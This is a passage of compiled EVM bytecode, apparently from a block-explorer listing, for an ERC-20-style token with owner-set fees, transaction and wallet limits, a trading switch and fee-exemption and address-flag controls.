061461360008301896132cf565b614620602083018861316e565b61462d60408301876144d7565b61463a60608301866144d7565b61464760808301856132cf565b61465460a083018461316e565b979650505050505050565b60008151905061466e81612f36565b92915050565b60008060006060848603121561468d5761468c612f22565b5b600061469b8682870161465f565b93505060206146ac8682870161465f565b92505060406146bd8682870161465f565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b60006146fd601d83612f9a565b9150614708826146c7565b602082019050919050565b6000602082019050818103600083015261472c816146f0565b9050919050565b600081905092915050565b50565b600061474e600083614733565b91506147598261473e565b600082019050919050565b600061476f82614741565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b60006147d5603a83612f9a565b91506147e082614779565b604082019050919050565b60006020820190508181036000830152614804816147c8565b905091905056fea26469706673582212204e507d116bf4a6d5f4e392d4ce121ab09b51794d2174c9901aff818ffaf5b26464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102295760003560e01c80638a8c523c11610123578063ad3026e4116100ab578063e0eb9cb31161006f578063e0eb9cb314610800578063ea2f0b371461082b578063f2fde38b14610854578063f887ea401461087d578063fc962edb146108a857610230565b8063ad3026e414610709578063beffc7d414610732578063c5d32bb21461075b578063d256413e14610798578063dd62ed3e146107c357610230565b8063a1e71b57116100f2578063a1e71b5714610624578063a40f0ce71461064d578063a457c2d714610664578063a8aa1b31146106a1578063a9059cbb146106cc57610230565b80638a8c523c1461058e5780638cd4426d146105a55780638da5cb5b146105ce57806395d89b41146105f957610230565b806339509351116101b1578063610e34b911610175578063610e34b9146104bb57806370a08231146104e4578063715018a61461052157806375f0a8741461053857806385141a771461056357610230565b806339509351146103d8578063437823ec146104155780634ada218b1461043e5780635ae34339146104695780635d098b381461049257610230565b80631675d802116101f85780631675d802146102ef57806318160ddd1461031a57806323b872dd1461034557806329b8cff314610382578063313ce567146103ad57610230565b80630546d67b1461023557806306fdde031461025e578063095ea7b3146102895780631340538f146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190612f62565b6108d3565b005b34801561026a57600080fd5b506102736109bd565b604051610280919061301f565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061309f565b610a4f565b6040516102bd91906130fa565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e89190613141565b610a6d565b005b3480156102fb57600080fd5b50610304610b06565b604051610311919061317d565b60405180910390f35b34801561032657600080fd5b5061032f610b0c565b60405161033c919061317d565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190613198565b610b16565b60405161037991906130fa565b60405180910390f35b34801561038e57600080fd5b50610397610c17565b6040516103a4919061317d565b60405180910390f35b3480156103b957600080fd5b506103c2610c1d565b6040516103cf9190613207565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061309f565b610c26565b60405161040c91906130fa565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190613222565b610cd2565b005b34801561044a57600080fd5b50610453610da9565b60405161046091906130fa565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b919061324f565b610dbc565b005b34801561049e57600080fd5b506104b960048036038101906104b49190613222565b610e93565b005b3480156104c757600080fd5b506104e260048036038101906104dd919061328f565b611088565b005b3480156104f057600080fd5b5061050b60048036038101906105069190613222565b611155565b604051610518919061317d565b60405180910390f35b34801561052d57600080fd5b5061053661119d565b005b34801561054457600080fd5b5061054d611225565b60405161055a91906132de565b60405180910390f35b34801561056f57600080fd5b5061057861124b565b60405161058591906132de565b60405180910390f35b34801561059a57600080fd5b506105a3611251565b005b3480156105b157600080fd5b506105cc60048036038101906105c7919061309f565b61133a565b005b3480156105da57600080fd5b506105e36114ae565b6040516105f091906132de565b60405180910390f35b34801561060557600080fd5b5061060e6114d8565b60405161061b919061301f565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613441565b61156a565b005b34801561065957600080fd5b5061066261167b565b005b34801561067057600080fd5b5061068b6004803603810190610686919061309f565b61174d565b60405161069891906130fa565b60405180910390f35b3480156106ad57600080fd5b506106b6611841565b6040516106c391906132de565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee919061309f565b611867565b60405161070091906130fa565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b919061328f565b61187e565b005b34801561073e57600080fd5b506107596004803603810190610754919061328f565b611a0d565b005b34801561076757600080fd5b50610782600480360381019061077d9190613222565b611ada565b60405161078f91906130fa565b60405180910390f35b3480156107a457600080fd5b506107ad611afa565b6040516107ba919061317d565b60405180910390f35b3480156107cf57600080fd5b506107ea60048036038101906107e5919061349d565b611b00565b6040516107f7919061317d565b60405180910390f35b34801561080c57600080fd5b50610815611b87565b604051610822919061317d565b60405180910390f35b34801561083757600080fd5b50610852600480360381019061084d9190613222565b611b8d565b005b34801561086057600080fd5b5061087b60048036038101906108769190613222565b611c64565b005b34801561088957600080fd5b50610892611d5b565b60405161089f919061353c565b60405180910390f35b3480156108b457600080fd5b506108bd611d81565b6040516108ca919061317d565b60405180910390f35b6108db611d87565b73ffffffffffffffffffffffffffffffffffffffff166108f96114ae565b73ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610946906135a3565b60405180910390fd5b620f4240811115610995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098c90613635565b60405180910390fd5b61099d610c1d565b600a6109a991906137b7565b816109b49190613802565b60088190555050565b6060600380546109cc90613873565b80601f01602080910402602001604051908101604052809291908181526020018280546109f890613873565b8015610a455780601f10610a1a57610100808354040283529160200191610a45565b820191906000526020600020905b815481529060010190602001808311610a2857829003601f168201915b5050505050905090565b6000610a63610a5c611d87565b8484611d8f565b6001905092915050565b610a75611d87565b73ffffffffffffffffffffffffffffffffffffffff16610a936114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae0906135a3565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b60085481565b6000600254905090565b6000610b23848484611f58565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b6e611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590613916565b60405180910390fd5b610c0b85610bfa611d87565b8584610c069190613936565b611d8f565b60019150509392505050565b600a5481565b60006012905090565b6000610cc8610c33611d87565b848460016000610c41611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cc3919061396a565b611d8f565b6001905092915050565b610cda611d87565b73ffffffffffffffffffffffffffffffffffffffff16610cf86114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d45906135a3565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760169054906101000a900460ff1681565b610dc4611d87565b73ffffffffffffffffffffffffffffffffffffffff16610de26114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f906135a3565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e9b611d87565b73ffffffffffffffffffffffffffffffffffffffff16610eb96114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f06906135a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7590613a10565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390613a7c565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611090611d87565b73ffffffffffffffffffffffffffffffffffffffff166110ae6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906135a3565b60405180910390fd5b81600c6000018190555080600c600101819055507fa2b219a42aa557965901397e42601390282bb6828cabbd7675dca50ba6aa62ca8282604051611149929190613a9c565b60405180910390a15050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111a5611d87565b73ffffffffffffffffffffffffffffffffffffffff166111c36114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611210906135a3565b60405180910390fd5b611223600061260b565b565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61dead81565b611259611d87565b73ffffffffffffffffffffffffffffffffffffffff166112776114ae565b73ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906135a3565b60405180910390fd5b600760169054906101000a900460ff161561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490613b11565b60405180910390fd5b6001600760166101000a81548160ff021916908315150217905550565b611342611d87565b73ffffffffffffffffffffffffffffffffffffffff166113606114ae565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad906135a3565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141b90613ba3565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114486114ae565b836040518363ffffffff1660e01b8152600401611466929190613bc3565b6020604051808303816000875af1158015611485573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a99190613c01565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546114e790613873565b80601f016020809104026020016040519081016040528092919081815260200182805461151390613873565b80156115605780601f1061153557610100808354040283529160200191611560565b820191906000526020600020905b81548152906001019060200180831161154357829003601f168201915b5050505050905090565b611572611d87565b73ffffffffffffffffffffffffffffffffffffffff166115906114ae565b73ffffffffffffffffffffffffffffffffffffffff16146115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd906135a3565b60405180910390fd5b60005b825181101561167657816013600085848151811061160a57611609613c2e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061166e90613c5d565b9150506115e9565b505050565b611683611d87565b73ffffffffffffffffffffffffffffffffffffffff166116a16114ae565b73ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee906135a3565b60405180910390fd5b60004790506117046114ae565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611749573d6000803e3d6000fd5b5050565b6000806001600061175c611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090613d17565b60405180910390fd5b611836611824611d87565b8585846118319190613936565b611d8f565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611874338484611f58565b6001905092915050565b611886611d87565b73ffffffffffffffffffffffffffffffffffffffff166118a46114ae565b73ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906135a3565b60405180910390fd5b611902610c1d565b600a61190e91906137b7565b826119199190613802565b600a81905550611927610c1d565b600a61193391906137b7565b8161193e9190613802565b600981905550620f424082101561198a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198190613da9565b60405180910390fd5b620f42408110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790613e3b565b60405180910390fd5b7f202f4712f0dae21d708451caa16ed4b41cb5c9974ab3d34d1f1dc4dfc5a222db8282604051611a01929190613a9c565b60405180910390a15050565b611a15611d87565b73ffffffffffffffffffffffffffffffffffffffff16611a336114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906135a3565b60405180910390fd5b81600e6000018190555080600e600101819055507f7873124e0d91bc71776e2961704366640b879893d05157d7bfa606dd9e58227d8282604051611ace929190613a9c565b60405180910390a15050565b60126020528060005260406000206000915054906101000a900460ff1681565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b611b95611d87565b73ffffffffffffffffffffffffffffffffffffffff16611bb36114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c00906135a3565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611c6c611d87565b73ffffffffffffffffffffffffffffffffffffffff16611c8a6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd7906135a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4690613ecd565b60405180910390fd5b611d588161260b565b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df590613f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6490613ff1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f4b919061317d565b60405180910390a3505050565b60008111611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9290614083565b60405180910390fd5b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561203f5750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61207e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612075906140ef565b60405180910390fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561217757600760169054906101000a900460ff16612176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216d9061415b565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122225750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122785750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561231b576009548111156122c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b9906141c7565b60405180910390fd5b600a54816122cf84611155565b6122d9919061396a565b111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614233565b60405180910390fd5b5b6000806000612328612efe565b600760149054906101000a900460ff168061238c5750601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123e05750601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123ee576000915061251c565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361248657600e60000154600e60010154612459919061396a565b9350839250600e60405180604001604052908160008201548152602001600182015481525050905061251b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461251a57600c60000154600c600101546124f1919061396a565b9350839250600c6040518060400160405290816000820154815260200160018201548152505090505b5b5b6064838661252a9190613802565b6125349190614282565b9150600760159054906101000a900460ff1680156125a05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156125b0576125af84826126d1565b5b6125c6878784886125c19190613936565b612875565b6000821115612602576000841115612601576000606485876125e89190613802565b6125f29190614282565b90506125ff883083612875565b505b5b50505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff16612871576001600760146101000a81548160ff021916908315150217905550600082031561285557600061271430611155565b9050600854811061285357600160085411156127305760085490505b600060028461273f9190613802565b90506000818460200151846127549190613802565b61275e9190614282565b90506000818461276e9190613936565b9050600047905061277e82612ae7565b6000814761278c9190613936565b905060008760200151866127a09190613936565b826127ab9190614282565b905060008860200151826127bf9190613802565b905060008111156127d5576127d48682612d2a565b5b600089600001516002846127e99190613802565b6127f39190613802565b9050600081111561284a5761284981600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e0a90919063ffffffff16565b5b50505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128db90614325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a906143b7565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156129d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d090614449565b60405180910390fd5b81816129e59190613936565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a75919061396a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ad9919061317d565b60405180910390a350505050565b6000600267ffffffffffffffff811115612b0457612b036132fe565b5b604051908082528060200260200182016040528015612b325781602001602082028036833780820191505090505b5090503081600081518110612b4a57612b49613c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612bf1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c15919061447e565b81600181518110612c2957612c28613c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612c9030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d8f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612cf49594939291906145a4565b600060405180830381600087803b158015612d0e57600080fd5b505af1158015612d22573d6000803e3d6000fd5b505050505050565b612d5730600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d8f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612dc0969594939291906145fe565b60606040518083038185885af1158015612dde573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e039190614674565b5050505050565b80471015612e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4490614713565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612e7390614764565b60006040518083038185875af1925050503d8060008114612eb0576040519150601f19603f3d011682016040523d82523d6000602084013e612eb5565b606091505b5050905080612ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef0906147eb565b60405180910390fd5b505050565b604051806040016040528060008152602001600081525090565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b612f3f81612f2c565b8114612f4a57600080fd5b50565b600081359050612f5c81612f36565b92915050565b600060208284031215612f7857612f77612f22565b5b6000612f8684828501612f4d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612fc9578082015181840152602081019050612fae565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ff182612f8f565b612ffb8185612f9a565b935061300b818560208601612fab565b61301481612fd5565b840191505092915050565b600060208201905081810360008301526130398184612fe6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061306c82613041565b9050919050565b61307c81613061565b811461308757600080fd5b50565b60008135905061309981613073565b92915050565b600080604083850312156130b6576130b5612f22565b5b60006130c48582860161308a565b92505060206130d585828601612f4d565b9150509250929050565b60008115159050919050565b6130f4816130df565b82525050565b600060208201905061310f60008301846130eb565b92915050565b61311e816130df565b811461312957600080fd5b50565b60008135905061313b81613115565b92915050565b60006020828403121561315757613156612f22565b5b60006131658482850161312c565b91505092915050565b61317781612f2c565b82525050565b6000602082019050613192600083018461316e565b92915050565b6000806000606084860312156131b1576131b0612f22565b5b60006131bf8682870161308a565b93505060206131d08682870161308a565b92505060406131e186828701612f4d565b9150509250925092565b600060ff82169050919050565b613201816131eb565b82525050565b600060208201905061321c60008301846131f8565b92915050565b60006020828403121561323857613237612f22565b5b60006132468482850161308a565b91505092915050565b6000806040838503121561326657613265612f22565b5b60006132748582860161308a565b92505060206132858582860161312c565b9150509250929050565b600080604083850312156132a6576132a5612f22565b5b60006132b485828601612f4d565b92505060206132c585828601612f4d565b9150509250929050565b6132d881613061565b82525050565b60006020820190506132f360008301846132cf565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61333682612fd5565b810181811067ffffffffffffffff82111715613355576133546132fe565b5b80604052505050565b6000613368612f18565b9050613374828261332d565b919050565b600067ffffffffffffffff821115613394576133936132fe565b5b602082029050602081019050919050565b600080fd5b60006133bd6133b884613379565b61335e565b905080838252602082019050602084028301858111156133e0576133df6133a5565b5b835b8181101561340957806133f5888261308a565b8452602084019350506020810190506133e2565b5050509392505050565b600082601f830112613428576134276132f9565b5b81356134388482602086016133aa565b91505092915050565b6000806040838503121561345857613457612f22565b5b600083013567ffffffffffffffff81111561347657613475612f27565b5b61348285828601613413565b92505060206134938582860161312c565b9150509250929050565b600080604083850312156134b4576134b3612f22565b5b60006134c28582860161308a565b92505060206134d38582860161308a565b9150509250929050565b6000819050919050565b60006135026134fd6134f884613041565b6134dd565b613041565b9050919050565b6000613514826134e7565b9050919050565b600061352682613509565b9050919050565b6135368161351b565b82525050565b6000602082019050613551600083018461352d565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061358d602083612f9a565b915061359882613557565b602082019050919050565b600060208201905081810360008301526135bc81613580565b9050919050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060008201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b600061361f603e83612f9a565b915061362a826135c3565b604082019050919050565b6000602082019050818103600083015261364e81613612565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156136db578086048111156136b7576136b6613655565b5b60018516156136c65780820291505b80810290506136d485613684565b945061369b565b94509492505050565b6000826136f457600190506137b0565b8161370257600090506137b0565b8160018114613718576002811461372257613751565b60019150506137b0565b60ff84111561373457613733613655565b5b8360020a91508482111561374b5761374a613655565b5b506137b0565b5060208310610133831016604e8410600b84101617156137865782820a90508381111561378157613780613655565b5b6137b0565b6137938484846001613691565b925090508184048111156137aa576137a9613655565b5b81810290505b9392505050565b60006137c282612f2c565b91506137cd836131eb565b92506137fa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846136e4565b905092915050565b600061380d82612f2c565b915061381883612f2c565b925082820261382681612f2c565b9150828204841483151761383d5761383c613655565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061388b57607f821691505b60208210810361389e5761389d613844565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613900602883612f9a565b915061390b826138a4565b604082019050919050565b6000602082019050818103600083015261392f816138f3565b9050919050565b600061394182612f2c565b915061394c83612f2c565b925082820390508181111561396457613963613655565b5b92915050565b600061397582612f2c565b915061398083612f2c565b925082820190508082111561399857613997613655565b5b92915050565b7f46656520416464726573732063616e6e6f74206265207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139fa602283612f9a565b9150613a058261399e565b604082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b7f46656520416464726573732063616e6e6f742062652043410000000000000000600082015250565b6000613a66601883612f9a565b9150613a7182613a30565b602082019050919050565b60006020820190508181036000830152613a9581613a59565b9050919050565b6000604082019050613ab1600083018561316e565b613abe602083018461316e565b9392505050565b7f43616e6e6f742072652d656e61626c652074726164696e670000000000000000600082015250565b6000613afb601883612f9a565b9150613b0682613ac5565b602082019050919050565b60006020820190508181036000830152613b2a81613aee565b9050919050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c60008201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b6000613b8d603683612f9a565b9150613b9882613b31565b604082019050919050565b60006020820190508181036000830152613bbc81613b80565b9050919050565b6000604082019050613bd860008301856132cf565b613be5602083018461316e565b9392505050565b600081519050613bfb81613115565b92915050565b600060208284031215613c1757613c16612f22565b5b6000613c2584828501613bec565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613c6882612f2c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c9a57613c99613655565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d01602583612f9a565b9150613d0c82613ca5565b604082019050919050565b60006020820190508181036000830152613d3081613cf4565b9050919050565b7f43616e6e6f7420736574204d617857616c6c657420616d6f756e74206c6f776560008201527f72207468656e20302e3125000000000000000000000000000000000000000000602082015250565b6000613d93602b83612f9a565b9150613d9e82613d37565b604082019050919050565b60006020820190508181036000830152613dc281613d86565b9050919050565b7f43616e6e6f7420736574204d6178547820616d6f756e74206c6f77657220746860008201527f656e20302e312500000000000000000000000000000000000000000000000000602082015250565b6000613e25602783612f9a565b9150613e3082613dc9565b604082019050919050565b60006020820190508181036000830152613e5481613e18565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613eb7602683612f9a565b9150613ec282613e5b565b604082019050919050565b60006020820190508181036000830152613ee681613eaa565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613f49602483612f9a565b9150613f5482613eed565b604082019050919050565b60006020820190508181036000830152613f7881613f